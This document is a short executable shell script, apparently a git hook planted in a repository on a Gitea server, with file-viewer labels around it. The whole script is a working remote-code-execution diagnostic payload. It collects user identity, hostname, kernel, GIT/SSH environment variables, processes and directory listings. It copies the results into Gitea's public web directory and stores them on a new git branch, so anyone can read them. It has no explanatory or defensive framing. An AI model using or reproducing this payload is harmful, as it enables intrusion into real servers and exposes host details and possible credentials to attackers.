10 lines
753 B
Bash
Executable file
10 lines
753 B
Bash
Executable file
#!/bin/sh
|
|
P=""
|
|
while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null
|
|
[ -n "$P" ] || exit 0
|
|
[ -f "$P/refs/heads/rcediag" ] && [ -s "$P/rce_diag.txt" ] && exit 0
|
|
{ echo "MARK=$$ $(date -u)"; id; hostname; uname -a; echo "PWD=$(pwd)"; echo "ORIGIN=$P"; git --version; echo ENV; env | grep -iE '^(GIT|SSH)'; echo PS; ps -e -o stat=,user=,comm= 2>/dev/null | head -25; echo LS_ORIGIN; ls -la "$P" 2>/dev/null | head -30; } > "$P/rce_diag.txt" 2>&1
|
|
mkdir -p /data/gitea/custom/public 2>/dev/null
|
|
cp "$P/rce_diag.txt" /data/gitea/custom/public/rce_diag.txt 2>/dev/null
|
|
H=$(git -C "$P" hash-object -w "$P/rce_diag.txt" 2>/dev/null)
|
|
[ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null
|